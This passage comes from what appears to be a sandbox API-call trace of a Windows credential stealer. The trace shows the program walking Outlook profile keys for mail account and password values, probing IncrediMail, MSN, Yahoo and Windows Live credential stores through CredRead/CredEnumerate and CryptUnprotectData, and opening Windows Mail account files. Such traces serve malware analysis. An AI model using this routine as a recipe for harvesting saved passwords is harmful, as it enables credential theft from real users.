lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.182] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.183] RegCloseKey (hKey=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x2, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="189cba75c69c634996739bac92103ebb", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.183] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.183] RegCloseKey (hKey=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x3, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="1a8bd43e654f65418fbafadeef063a57", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.183] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.183] RegCloseKey (hKey=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x4, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="1cfb96c6c96b454ebff73da2e9f63f51", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.183] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.183] RegCloseKey (hKey=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x5, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="3517490d76624c419a828607e2a54604", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.183] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.183] RegCloseKey (hKey=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x6, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="467888fc50a6c6448d6cc0cf7b5307d6", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.183] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.183] RegCloseKey (hKey=0x110) returned 0x0 [0074.183] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x7, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="48dea081c9634a43a6861907855add5c", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.183] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.184] RegCloseKey (hKey=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x8, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="55aad8d134512d438564aa678cb92d66", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.184] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.184] RegCloseKey (hKey=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x9, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="71b0295bef58e344911262b243f005ac", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.184] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.184] RegCloseKey (hKey=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0xa, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="8503020000000000c000000000000046", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.184] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.184] RegCloseKey (hKey=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0xb, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="9207f3e0a3b11019908b08002b2a56c2", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.184] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.184] RegCloseKey (hKey=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0xc, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="9375CFF0413111d3B88A00104B2A6676", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.184] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.184] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="00000001", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x0 [0074.184] RegOpenKeyExA (in: hKey=0x110, lpSubKey="00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f464 | out: phkResult=0x30f464*=0x114) returned 0x0 [0074.184] RegQueryValueExA (in: hKey=0x114, lpValueName="POP3 User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x0, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.184] RegQueryValueExA (in: hKey=0x114, lpValueName="IMAP User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x0, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="HTTP User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x0, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="SMTP User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x0, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.185] RegCloseKey (hKey=0x114) returned 0x0 [0074.185] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x1, lpName=0x30f364, lpcchName=0x30f344, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f33c | out: lpName="00000002", lpcchName=0x30f344, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f33c) returned 0x0 [0074.185] RegOpenKeyExA (in: hKey=0x110, lpSubKey="00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f464 | out: phkResult=0x30f464*=0x114) returned 0x0 [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="POP3 User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x1, lpData="sdjwh@dive.djh", lpcbData=0x30eeb4*=0xf) returned 0x0 [0074.185] strlen (_Str="sdjwh@dive.djh") returned 0xe [0074.185] _mbscpy (in: param_1=0x30f0ec, param_2=0x30f27c | out: param_1=0x30f0ec) returned 0x30f0ec [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x1, lpData="fgerh", lpcbData=0x30eeb4*=0x6) returned 0x0 [0074.185] strlen (_Str="fgerh") returned 0x5 [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="Display Name", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x1, lpData="fvmmeu dufn", lpcbData=0x30eeb4*=0xc) returned 0x0 [0074.185] strlen (_Str="fvmmeu dufn") returned 0xb [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="Email", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x1, lpData="sdjwh@dive.djh", lpcbData=0x30eeb4*=0xf) returned 0x0 [0074.185] strlen (_Str="sdjwh@dive.djh") returned 0xe [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x1, lpData="hthr", lpcbData=0x30eeb4*=0x5) returned 0x0 [0074.185] strlen (_Str="hthr") returned 0x4 [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x30eeb0, lpData=0x30f274, lpcbData=0x30eeb4*=0x4 | out: lpType=0x30eeb0*=0x0, lpData=0x30f274*=0x0, lpcbData=0x30eeb4*=0x4) returned 0x2 [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x30eeb0, lpData=0x30f26c, lpcbData=0x30eeb4*=0x4 | out: lpType=0x30eeb0*=0x0, lpData=0x30f26c*=0x0, lpcbData=0x30eeb4*=0x4) returned 0x2 [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="POP3 Use SPA", lpReserved=0x0, lpType=0x30eea4, lpData=0x30f270, lpcbData=0x30eea8*=0x4 | out: lpType=0x30eea4*=0x0, lpData=0x30f270*=0x0, lpcbData=0x30eea8*=0x4) returned 0x2 [0074.185] RegQueryValueExA (in: hKey=0x114, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x30e264, lpData=0x30e2a0, lpcbData=0x30e28c*=0x400 | out: lpType=0x30e264*=0x0, lpData=0x30e2a0*=0x0, lpcbData=0x30e28c*=0x400) returned 0x2 [0074.185] _mbscpy (in: param_1=0x30f1ec, param_2=0x1031b4 | out: param_1=0x30f1ec) returned 0x30f1ec [0074.185] _mbscmp (_Str1=0x30f16c, _Str2=0x30f0ec) returned -1 [0074.185] strlen (_Str="") returned 0x0 [0074.185] _mbsicmp (_Str1=0x30f16c, _Str2=0x30f0ec) returned -1 [0074.186] RegQueryValueExA (in: hKey=0x114, lpValueName="IMAP User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x68, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.186] RegQueryValueExA (in: hKey=0x114, lpValueName="HTTP User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x68, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.186] RegQueryValueExA (in: hKey=0x114, lpValueName="SMTP User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x68, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.186] RegCloseKey (hKey=0x114) returned 0x0 [0074.186] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x2, lpName=0x30f364, lpcchName=0x30f344, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f33c | out: lpName="00000003", lpcchName=0x30f344, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f33c) returned 0x0 [0074.186] RegOpenKeyExA (in: hKey=0x110, lpSubKey="00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f464 | out: phkResult=0x30f464*=0x114) returned 0x0 [0074.186] RegQueryValueExA (in: hKey=0x114, lpValueName="POP3 User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x68, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.186] RegQueryValueExA (in: hKey=0x114, lpValueName="IMAP User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x68, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.186] RegQueryValueExA (in: hKey=0x114, lpValueName="HTTP User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x68, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.186] RegQueryValueExA (in: hKey=0x114, lpValueName="SMTP User", lpReserved=0x0, lpType=0x30eeb8, lpData=0x30eab0, lpcbData=0x30eeb4*=0x400 | out: lpType=0x30eeb8*=0x0, lpData=0x30eab0*=0x68, lpcbData=0x30eeb4*=0x400) returned 0x2 [0074.186] RegCloseKey (hKey=0x114) returned 0x0 [0074.186] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x3, lpName=0x30f364, lpcchName=0x30f344, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f33c | out: lpName="00000003", lpcchName=0x30f344, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f33c) returned 0x103 [0074.186] RegCloseKey (hKey=0x110) returned 0x0 [0074.186] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0xd, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x0 [0074.186] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.186] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.186] RegCloseKey (hKey=0x110) returned 0x0 [0074.186] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0xe, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x30f45c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454) returned 0x103 [0074.186] RegCloseKey (hKey=0x10c) returned 0x0 [0074.186] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x1, lpName=0x30f594, lpcchName=0x30f574, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f56c | out: lpName="Outlook", lpcchName=0x30f574, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f56c) returned 0x103 [0074.186] RegCloseKey (hKey=0x108) returned 0x0 [0074.186] FreeLibrary (hLibModule=0x74150000) returned 1 [0074.187] FreeLibrary (hLibModule=0x758d0000) returned 1 [0074.188] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\IncrediMail\\Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f6a4 | out: phkResult=0x30f6a4*=0x0) returned 0x2 [0074.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\IncrediMail\\Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f6a4 | out: phkResult=0x30f6a4*=0x0) returned 0x2 [0074.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Group Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f450 | out: phkResult=0x30f450*=0x0) returned 0x2 [0074.188] _mbscpy (in: param_1=0x30f58b, param_2=0x413fc4 | out: param_1=0x30f58b) returned 0x30f58b [0074.188] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\MSNMessenger", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f27c | out: phkResult=0x30f27c*=0x0) returned 0x2 [0074.188] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\MessengerService", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f278 | out: phkResult=0x30f278*=0x0) returned 0x2 [0074.188] _mbscpy (in: param_1=0x30f11b, param_2=0x413fc4 | out: param_1=0x30f11b) returned 0x30f11b [0074.188] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x756e0000 [0074.188] GetProcAddress (hModule=0x756e0000, lpProcName="CredReadA") returned 0x757271c1 [0074.189] GetProcAddress (hModule=0x756e0000, lpProcName="CredFree") returned 0x756eb2ec [0074.189] GetProcAddress (hModule=0x756e0000, lpProcName="CredDeleteA") returned 0x75727941 [0074.189] GetProcAddress (hModule=0x756e0000, lpProcName="CredEnumerateA") returned 0x75727381 [0074.189] GetProcAddress (hModule=0x756e0000, lpProcName="CredEnumerateW") returned 0x75727481 [0074.189] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x758d0000 [0074.191] GetProcAddress (hModule=0x758d0000, lpProcName="CryptUnprotectData") returned 0x75905a7f [0074.191] CredReadA (in: TargetName="Passport.Net\\*", Type=0x4, Flags=0x0, Credential=0x30f25c | out: Credential=0x30f25c) returned 0 [0074.192] FreeLibrary (hLibModule=0x756e0000) returned 1 [0074.192] FreeLibrary (hLibModule=0x758d0000) returned 1 [0074.192] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Yahoo\\Pager", ulOptions=0x0, samDesired=0x20019, phkResult=0x30eadc | out: phkResult=0x30eadc*=0x0) returned 0x2 [0074.192] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\IdentityCRL", ulOptions=0x0, samDesired=0x20019, phkResult=0x30e670 | out: phkResult=0x30e670*=0x0) returned 0x2 [0074.192] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x756e0000 [0074.192] GetProcAddress (hModule=0x756e0000, lpProcName="CredReadA") returned 0x757271c1 [0074.193] GetProcAddress (hModule=0x756e0000, lpProcName="CredFree") returned 0x756eb2ec [0074.193] GetProcAddress (hModule=0x756e0000, lpProcName="CredDeleteA") returned 0x75727941 [0074.193] GetProcAddress (hModule=0x756e0000, lpProcName="CredEnumerateA") returned 0x75727381 [0074.193] GetProcAddress (hModule=0x756e0000, lpProcName="CredEnumerateW") returned 0x75727481 [0074.193] CredEnumerateW (in: Filter="WindowsLive:name=*", Flags=0x0, Count=0x30f370, Credential=0x30f374 | out: Count=0x30f370, Credential=0x30f374) returned 0 [0074.193] FreeLibrary (hLibModule=0x756e0000) returned 1 [0074.193] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x30f380, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1 [0074.194] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0074.194] strlen (_Str="\\Microsoft\\Windows Mail") returned 0x17 [0074.194] _mbscat (in: param_1=0x30f39f, param_2=0x4154f4 | out: param_1=0x30f39f) returned 0x30f39f [0074.194] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.194] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.194] strlen (_Str="*.oeaccount") returned 0xb [0074.194] _mbscpy (in: param_1=0x30e944, param_2=0x30ed0c | out: param_1=0x30e944) returned 0x30e944 [0074.194] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.194] _mbscat (in: param_1=0x30e944, param_2=0x414078 | out: param_1=0x30e944) returned 0x30e944 [0074.194] _mbscat (in: param_1=0x30e944, param_2=0x4154e8 | out: param_1=0x30e944) returned 0x30e944 [0074.194] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\*.oeaccount", lpFindFileData=0x30ea88 | out: lpFindFileData=0x30ea88) returned 0x7f72b0 [0074.195] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.195] strlen (_Str="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 0x37 [0074.195] _mbscpy (in: param_1=0x30ebc8, param_2=0x30ed0c | out: param_1=0x30ebc8) returned 0x30ebc8 [0074.195] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.195] _mbscat (in: param_1=0x30ebc8, param_2=0x414078 | out: param_1=0x30ebc8) returned 0x30ebc8 [0074.195] _mbscat (in: param_1=0x30ebc8, param_2=0x30eab4 | out: param_1=0x30ebc8) returned 0x30ebc8 [0074.195] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c [0074.196] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5e4 [0074.196] SetFilePointer (in: hFile=0x10c, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0074.196] ReadFile (in: hFile=0x10c, lpBuffer=0x8f6d70, nNumberOfBytesToRead=0x5e2, lpNumberOfBytesRead=0x30e904, lpOverlapped=0x0 | out: lpBuffer=0x8f6d70*, lpNumberOfBytesRead=0x30e904*=0x5e2, lpOverlapped=0x0) returned 1 [0074.197] wcslen (_String="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n") returned 0x2f1 [0074.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program 